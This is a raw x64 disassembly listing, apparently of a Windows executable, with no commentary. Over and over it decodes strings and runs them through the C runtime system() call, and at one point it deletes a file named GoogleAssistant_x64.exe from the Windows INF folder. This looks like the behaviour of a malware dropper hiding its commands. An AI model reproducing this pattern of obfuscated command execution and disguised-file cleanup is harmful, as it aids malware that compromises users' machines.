lea rdx, [rbp + 0xab80]
lea rcx, [rsp + 0x30]
call fcn.140066800
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xac30]
lea rcx, [rsp + 0x30]
call fcn.140066950
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xace0]
lea rcx, [rsp + 0x30]
call fcn.140066aa0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x5fb0]
lea rcx, [rsp + 0x30]
call fcn.140063ef0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x5ee0]
lea rcx, [rsp + 0x30]
call fcn.1400640a0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x5e10]
lea rcx, [rsp + 0x30]
call fcn.140064250
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x5d40]
lea rcx, [rsp + 0x30]
call fcn.140064400
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x5c70]
lea rcx, [rsp + 0x30]
call fcn.1400645b0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x5ba0]
lea rcx, [rsp + 0x30]
call fcn.140064760
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x5ad0]
lea rcx, [rsp + 0x30]
call fcn.140064910
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x5a00]
lea rcx, [rsp + 0x30]
call fcn.140064ac0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x5930]
lea rcx, [rsp + 0x30]
call fcn.140064c70
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x5860]
lea rcx, [rsp + 0x30]
call fcn.140064e20
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x5790]
lea rcx, [rsp + 0x30]
call fcn.140064fd0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x56c0]
lea rcx, [rsp + 0x30]
call fcn.140065180
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x55f0]
lea rcx, [rsp + 0x30]
call fcn.140065330
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x5520]
lea rcx, [rsp + 0x30]
call fcn.1400654e0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x5450]
lea rcx, [rsp + 0x30]
call fcn.140065690
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x5380]
lea rcx, [rsp + 0x30]
call fcn.140064400
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x52b0]
lea rcx, [rsp + 0x30]
call fcn.1400645b0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x51e0]
lea rcx, [rsp + 0x30]
call fcn.140064760
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x5110]
lea rcx, [rsp + 0x30]
call fcn.140064910
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x5040]
lea rcx, [rsp + 0x30]
call fcn.140064ac0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x4f70]
lea rcx, [rsp + 0x30]
call fcn.140064c70
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x4ea0]
lea rcx, [rsp + 0x30]
call fcn.140064e20
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x4dd0]
lea rcx, [rsp + 0x30]
call fcn.140064fd0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x4d00]
lea rcx, [rsp + 0x30]
call fcn.140065180
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x4c30]
lea rcx, [rsp + 0x30]
call fcn.140065330
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x4b60]
lea rcx, [rsp + 0x30]
call fcn.1400654e0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsINFGoogleAssistant_x64.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x4a90]
lea rcx, [rsp + 0x30]
call fcn.140065690
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xad90]
lea rcx, [rsp + 0x30]
call fcn.140065840
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xae40]
lea rcx, [rsp + 0x30]
call fcn.140065990
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xaef0]
lea rcx, [rsp + 0x30]
call fcn.140065ae0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xafa0]
lea rcx, [rsp + 0x30]
call fcn.140065c30
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xb050]
lea rcx, [rsp + 0x30]
call fcn.140065d80
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xb100]
lea rcx, [rsp + 0x30]
call fcn.140065ed0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xb1b0]
lea rcx, [rsp + 0x30]
call fcn.140066020
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xb260]
lea rcx, [rsp + 0x30]
call fcn.140066170
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xb310]
lea rcx, [rsp + 0x30]
call fcn.1400662c0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xb3c0]
lea rcx, [rsp + 0x30]
call fcn.140066410
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xb470]
lea rcx, [rsp + 0x30]
call fcn.140066560
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xb520]
lea rcx, [rsp + 0x30]
call fcn.1400666b0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xb5d0]
lea rcx, [rsp + 0x30]
call fcn.140066800
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xb680]
lea rcx, [rsp + 0x30]
call fcn.140066950
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xb730]
lea rcx, [rsp + 0x30]
call fcn.140066aa0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xb7e0]
lea rcx, [rsp + 0x30]
call fcn.140065c30
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xb890]
lea rcx, [rsp + 0x30]
call fcn.140065d80
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xb940]
lea rcx, [rsp + 0x30]
call fcn.140065ed0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xb9f0]
lea rcx, [rsp + 0x30]
call fcn.140066020
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xbaa0]
lea rcx, [rsp + 0x30]
call fcn.140066170
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xbb50]
lea rcx, [rsp + 0x30]
call fcn.1400662c0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xbc00]
lea rcx, [rsp + 0x30]
call fcn.140066410
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xbcb0]
lea rcx, [rsp + 0x30]
call fcn.140066560
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xbd60]
lea rcx, [rsp + 0x30]
call fcn.1400666b0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xbe10]
lea rcx, [rsp + 0x30]
call fcn.140066800
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xbec0]
lea rcx, [rsp + 0x30]
call fcn.140066950
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xbf70]
lea rcx, [rsp + 0x30]
call fcn.140066aa0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x3730]
lea rcx, [rsp + 0x30]
call fcn.140066bf0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xe530]
lea rcx, [rsp + 0x30]
call fcn.140066d00
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xe880]
lea rcx, [rsp + 0x30]
call fcn.140066ec0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xe7b0]
lea rcx, [rsp + 0x30]
call fcn.140067080
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x3d70]
lea rcx, [rsp + 0x30]
call fcn.140067230
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x2180]
lea rcx, [rsp + 0x30]
call fcn.140067370
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x1390]
lea rcx, [rsp + 0x30]
call fcn.140067440
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x1400]
lea rcx, [rsp + 0x30]
call fcn.140067500
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x2520]
lea rcx, [rsp + 0x30]
call fcn.1400675c0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x2a90]
lea rcx, [rsp + 0x30]
call fcn.1400676b0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x2c90]
lea rcx, [rsp + 0x30]
call fcn.140067790
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x2620]
lea rcx, [rsp + 0x30]
call fcn.140067880
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x1010]
lea rcx, [rsp + 0x30]
call fcn.140067960
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x1080]
lea rcx, [rsp + 0x30]
call fcn.140067a20
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x1470]
lea rcx, [rsp + 0x30]
call fcn.140067ae0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x2e30]
lea rcx, [rsp + 0x30]
call fcn.140067ba0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x2ec0]
lea rcx, [rsp + 0x30]
call fcn.140067ca0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x37c0]
lea rcx, [rsp + 0x30]
call fcn.140067da0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x2f50]
lea rcx, [rsp + 0x30]
call fcn.140067eb0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x2fe0]
lea rcx, [rsp + 0x30]
call fcn.140067fb0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x3a00]
lea rcx, [rsp + 0x30]
call fcn.1400680b0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xc020]
lea rcx, [rsp + 0x30]
call fcn.140065840
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xc0d0]
lea rcx, [rsp + 0x30]
call fcn.140065990
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xc180]
lea rcx, [rsp + 0x30]
call fcn.140065ae0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xc230]
lea rcx, [rsp + 0x30]
call fcn.140065c30
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xc2e0]
lea rcx, [rsp + 0x30]
call fcn.140065d80
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xc390]
lea rcx, [rsp + 0x30]
call fcn.140065ed0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xc440]
lea rcx, [rsp + 0x30]
call fcn.140066020
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xc4f0]
lea rcx, [rsp + 0x30]
call fcn.140066170
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xc5a0]
lea rcx, [rsp + 0x30]
call fcn.1400662c0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xc650]
lea rcx, [rsp + 0x30]
call fcn.140066410
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xc700]
lea rcx, [rsp + 0x30]
call fcn.140066560
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xc7b0]
lea rcx, [rsp + 0x30]
call fcn.1400666b0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xc860]
lea rcx, [rsp + 0x30]
call fcn.140066800
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xc910]
lea rcx, [rsp + 0x30]
call fcn.140066950
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xc9c0]
lea rcx, [rsp + 0x30]
call fcn.140066aa0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xca70]
lea rcx, [rsp + 0x30]
call fcn.140065c30
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xcb20]
lea rcx, [rsp + 0x30]
call fcn.140065d80
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xcbd0]
lea rcx, [rsp + 0x30]
call fcn.140065ed0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xcc80]
lea rcx, [rsp + 0x30]
call fcn.140066020
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xcd30]
lea rcx, [rsp + 0x30]
call fcn.140066170
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xcde0]
lea rcx, [rsp + 0x30]
call fcn.1400662c0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xce90]
lea rcx, [rsp + 0x30]
call fcn.140066410
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x6f20]
lea rcx, [rsp + 0x30]
call fcn.140066560
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x9840]
lea rcx, [rsp + 0x30]
call fcn.1400666b0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x9790]
lea rcx, [rsp + 0x30]
call fcn.140066800
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x96e0]
lea rcx, [rsp + 0x30]
call fcn.140066950
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x9630]
lea rcx, [rsp + 0x30]
call fcn.140066aa0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x38e0]
lea rcx, [rsp + 0x30]
call fcn.1400681b0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x3850]
lea rcx, [rsp + 0x30]
call fcn.1400682c0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x3070]
lea rcx, [rsp + 0x30]
call fcn.1400683d0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x46d0]
lea rcx, [rsp + 0x30]
call fcn.1400684d0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x4770]
lea rcx, [rsp + 0x30]
call fcn.1400685f0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x3c30]
lea rcx, [rsp + 0x30]
call fcn.140068710
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x3cd0]
lea rcx, [rsp + 0x30]
call fcn.140068840
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x3100]
lea rcx, [rsp + 0x30]
call fcn.140068970
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x3190]
lea rcx, [rsp + 0x30]
call fcn.140068a70
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x3970]
lea rcx, [rsp + 0x30]
call fcn.140068b80
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x9580]
lea rcx, [rsp + 0x30]
call fcn.140068c90
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x3ec0]
lea rcx, [rsp + 0x30]
call fcn.140068df0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
